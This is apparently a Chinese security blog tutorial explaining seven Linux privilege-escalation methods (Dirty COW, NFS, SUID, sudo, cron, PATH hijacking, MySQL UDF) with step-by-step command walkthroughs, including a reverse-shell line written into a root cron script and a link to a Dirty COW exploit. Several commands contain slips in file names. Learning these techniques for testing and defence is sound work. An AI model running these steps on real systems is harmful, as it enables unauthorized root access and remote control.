详讲7中Linux提权

脏牛提权
 

网上讲脏牛提权大多是扯一下条件竞争然后直接msf拉脚本本地跑脚本就结束了,本人出于兴趣看了大量的文章总结了一下脏牛漏洞更深层次的原理,希望有助于大家深入的理解。
概括:脏牛利用了Linux内核中的一个缺陷,该缺陷允许普通用户以写权限访问只读映射的文件。漏洞的核心是对Copy-on-Write(COW)机制的滥用。COW是一种内存管理技术,允许多个进程共享相同的物理页面,直到其中一个进程试图修改该页面,此时操作系统会为该进程创建一个新的页面副本。脏牛漏洞利用了在COW机制中的竞争条件。通过在读取和写入之间的短暂时间窗口内修改文件权限位,攻击者可以在不拥有相应权限的情况下修改只读文件。攻击者可以通过将一个具有恶意代码的共享库加载到一个特权进程中,从而实现提权。脏牛漏洞允许攻击者以root权限执行恶意代码,从而完全控制受影响的系统。
1.条件竞争
以进程为例,条件竞争是指多个进程或线程在访问共享资源时,其最终结果取决于它们执行的相对顺序
假设有两个进程A和B,它们同时访问一个共享变量X,并对其进行修改。它们的操作步骤如下:
  • 进程A读取共享变量X的值,得到结果为10。
  • 进程B读取共享变量X的值,得到结果为10。
  • 进程A将共享变量X的值加1,结果为11。
  • 进程B将共享变量X的值减1,结果为9。

     
如果进程A和B的执行顺序是A先执行再执行B,那么最终X的值将变为9。但是,如果执行顺序是B先执行再执行A,那么最终X的值将变为11。这种情况下,最终结果取决于进程执行的顺序,因此存在条件竞争。
2.写时复制
Linux中的写时复制(Copy-on-Write,COW)是一种内存管理技术,用于在多个进程之间共享相同的物理页面。当一个进程试图修改共享页面时,操作系统会为该进程创建一个新的页面副本,以确保每个进程都能独立地修改自己的副本,能使不同进程中的虚拟内存映射到相同物理内存页面的技术
  • 首先将原有的物理内存块复制一个副本。这个副本与原始页面具有相同的内容
  • 修改页表,使该虚拟的副本内存指向新的物理地址
  • 最后向副本中写入数据

     
3.madvise(void *addr, size_t length, int advice)
madvise()是一个系统调用,用于向操作系统提供对内存映射区域的建议信息,他有三个参数:addr:指向内存映射区域的起始地址;length:内存映射区域的长度;advice:建议信息,表示对内存映射区域的使用方式,其中advice的值可以是MADV_DONTNEED表示取消预取模式,即内存区域将不会被使用,建议将其从内存中释放
攻击过程:在尝试对etc/password进行写操作的时候,也就是线程1,即使没有权限也会进行写时复制的操作,只不过写的是副本,所有不会成功,修改etc/password。但是在写时复制的这三个过程中,在进行了前两步之后,如果这个时候刚刚好,突然来了另外一个线程(线程2)调用了madvise(),它的第三个参数MADV_DONOTNEED就会告诉内核不再需要声明地址部分的内存,那么内核将释放该地址的资源,进程的页表会重新指向原始的物理内存,也就是说修改过的那个虚拟的副本物理地址,将会指向原来的物理地址,相当于成功对原始的etc/password进行了修改,那么提权也就轻而易举了.。就是利用线程1和线程2的执行时间差也就是条件竞争造成了最后的修改只读文件
提权条件:
  • linux版本要求:Linux内核 >= 2.6.22
  • 未安装相关补丁

     
攻击流程:
[Shell] 纯文本查看 复制代码
?
1
2
3
4
5
6
7
8
首先查看内核版本是否符合要求
uname -a
在目标机下载提权脚本(方式较多)
exp地址:[url=https://github.com/FireFart/dirtycow]https://github.com/FireFart/dirtycow[/url]
执行提权脚本
gcc -pthread 40839.c -o 40839 -lcrypt
切换到root用户
su firefart

NFS提权
 

nfs服务
⽹络⽂件系统(NFS)是⼀个客户端/服务器应⽤程序,作用类似windows的文件共享服务,在NFS服务器上,管理员需要配置共享目录,并指定允许哪些客户端访问这些共享目录(这些配置信息通常存储在一个叫做exports的文件中——/ etc / exports )。在nfs配置文件中有2个参数分别是root_squash和no_root_squash。前者表示共享目录之后,客户端不拥有root权限并赋予一个nfsnobody权限,这是一个很小的权限;后者表示共享目录之后,客户端直接拥有了root权限,那么如果这个文件夹里面有个bin/bash不就可以直接像root一样下命令了吗,一般情况下nfs默认配置就是no_root_squash,这恰好有利于提权。
提权条件:
  • 开启nfs服务
  • nfs配置为no_root_squash

     
攻击流程:
[Shell] 纯文本查看 复制代码
?
01
02
03
04
05
06
07
08
09
10
11
12
首先查看配置文件是否开启no_root_squash(两个都可以)
cat /etc/exports
首先查看nsf服务器的共享目录
showmount -e <NFS服务器IP>
建本地挂载目录
sudo mkdir -p /tmp
使用NFS协议将远程主机ip的/home/test目录挂载到本地的/tmp目录
sudo mount -t nfs <nfs服务器ip>:/home/test /tmp
/bin/bash文件复制到/tmp目录下,并重命名为shell
cp /bin/bash /tmp/shell
/tmp/shell文件设置suid权限,使其以文件所有者的权限来运行
chmod u+s /tmp/shell

SUID提权
 

suid 即 set user id sgid,当给一个文件设置suid权限之后,当执行该文件的时候,用户的权限是该文件所属主的权限,比如一个程序他是归root所有的,而普通用户要执行这个程序的时候,就相当于root在执行这个程序,那么如果这个程序可以接受一个命令执行的参数例如
-exec那么就可以以root身份权限来操作了,那么就提权成功了。这也是为什么nfs提权最后一步要执行chmod u+s /tmp/shell,这个s也就是suid
例如:find / -type f -name  getshell -exec "whoami" \
提权的条件:
  • 是可执行的二进制文件并且有suid权限
  • 执行该程序的人对该程序拥有x权限
  • 程序的归root所属

     
攻击流程:
[Shell] 纯文本查看 复制代码
?
1
2
3
4
首先使用find命令查找具有suid的文件
find / -user root -perm -4000 2>dev/null
表示从根目录开始寻找 属主为root 匹配权限400代表suid 将find报错信息重定向到null
较为常见的可执行文件有:find bash vim more nano cp awk cp less nmap pip zip...

SUDO提权
 

sudo
sudo(superuser do)是一种命令,允许普通用户以其他用户(通常是root)的身份执行特权操作。sudo提权的原理是通过sudoers文件来配置用户的权限。sudoers文件是位于/etc/sudoers或/etc/sudoers.d目录下的配置文件,用于定义哪些用户可以以root用户的身份执行特定的命令,并且可以配置让其不需要使用密码就可以执行命令
例如:Ting ALL = (root) NOPASSWD: /usr/bin/find
这条sudoers规则的意思是允许用户Ting以root用户的身份执行/usr/bin/find命令,并且在执行该命令时无需输入密码。
攻击流程
[Shell] 纯文本查看 复制代码
?
1
2
3
4
5
首先查找可以用sudo以root身份执行的命令
sudo -l
之后的提权操作就与suid提权类似了,即执行一些二进制文件,而这些二进制文件具有命令执行的参数即可以root的身份下发任意命令,例如刚刚举的find例子。
常见的命令
wget、findcat、apt、zip、xxdtime、taskset、git、sed、pip、ed、tmux、scp、perl、bashlessawkmanvienvftp

计划任务提权
 

计划任务提权是由于一个计划任务,他是由root权限运行的,但是这个任务对应的文件,又是可以被较低权限的用户修改的,那么攻击者可以利用这一点,对这个任务进行修改,然后拿到root权限,总的来说就是计划任务配置不当造成的
攻击流程:
[Shell] 纯文本查看 复制代码
?
1
2
3
4
5
6
7
首先查询有没有以root用户运行的任务
cat /etc/crontab
然后查看是否有普通用户对文件的写权限
ls -l <文件名>
向有写和root运行权限的文件中写入反弹shell
echo "bash -i >& /dev/tcp/<监听的ip>/<端口> 0>&1" >> /bash_os.sh
之后到了计划任务该执行的时间,就会执行这段代码进行反弹shell,由于又是以root的身份执行的,那么就拿到了root权限

PATH环境变量提权
 

环境变量,是一组定义了系统行为的变量,其中最重要的是PATH变量,它指定了系统在哪些目录中搜索可执行文件。攻击者可以将自己的恶意程序放置在PATH环境变量中的某个目录中,并将该目录放在PATH的最前面,这样当系统查找可执行文件时,会先找到攻击者的恶意程序并执行。举个例子,一个可执行程序P调用了一个命令A,这个命令A的路径在环境变量中目前排第1个,此时攻击者新创建了一个可执行程序也叫A,但是这个程序里面的命令是以root调用比如/bin/sh,然后给这个程序添加环境变量,此时这个环境变量排第一了,之前的环境变量就排第二了,此时执行程序P,程序P调用A命令,然后去找A命令的环境变量,从前往后,也就是第一个环境变量正是攻击者写的,那么相当于就执行了攻击者创建成功程序A与原始的程序A同名,然后执行里面的命令/bin/sh即可获取root权限
攻击流程:
[Shell] 纯文本查看 复制代码
?
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
首先搜索具有suid权限的命令便于利用
find / -perm -u=s -type f 2>/dev/null
找到一个这样的程序且已知其有运行命令A
进入另外一个目录
cd /tmp
/bin/sh 写入名为A的文件中
echo /bin/sh” > A
赋予该文件可执行权限
chmod 777 ps
导入该文件的环境变量
export PATH=/tmp:$PATH
进入原始具有命令A的程序的目录下并且执行该程序
cd ....
./程序名
即可执行/bin/sh

mysql数据库提权
 

mysql数据库提权其实也就是udf提权跟windwos的mysql提权基本上是一个原理不过要结合利用suid提权这里直接讲述攻击流程吧
[Shell] 纯文本查看 复制代码
?
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
首先msf找到利用的脚本文件下载并且编译为.so扩展名的文件
gcc -g -c 1518.c
gcc -g -shared -o 1518.so 1518.o
然后上传到tmp目录下(方法较多)
进入数据库进行udf提权
use mysql;
创建一个数据表
create table foo(line blob);
向表中插入so文件
foo insert into Ting values(load_file('/tmp/icepeak.so'));
创建一个名为"icepeak.so"的文件,并将表"Ting"中的数据写入其中
select * from Ting into dumpfile '/usr/lib/mysql/plugin/icepeak.so';
创建一个名为"do_system"的函数
create function do_system returns integer soname 'icepeak.so';
验证该函数
select * from mysql.func;
windwos到这里基本就结束了因为一般是直接system权限但是linux还需要进一步做suid提权
这应该是数据库的配置原因,权限取决于启动mysql服务的用户。所有要进一步suid提权
select do_system('chmod u+s /usr/bin/find');
find / -exec "/bin/sh" \;
  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值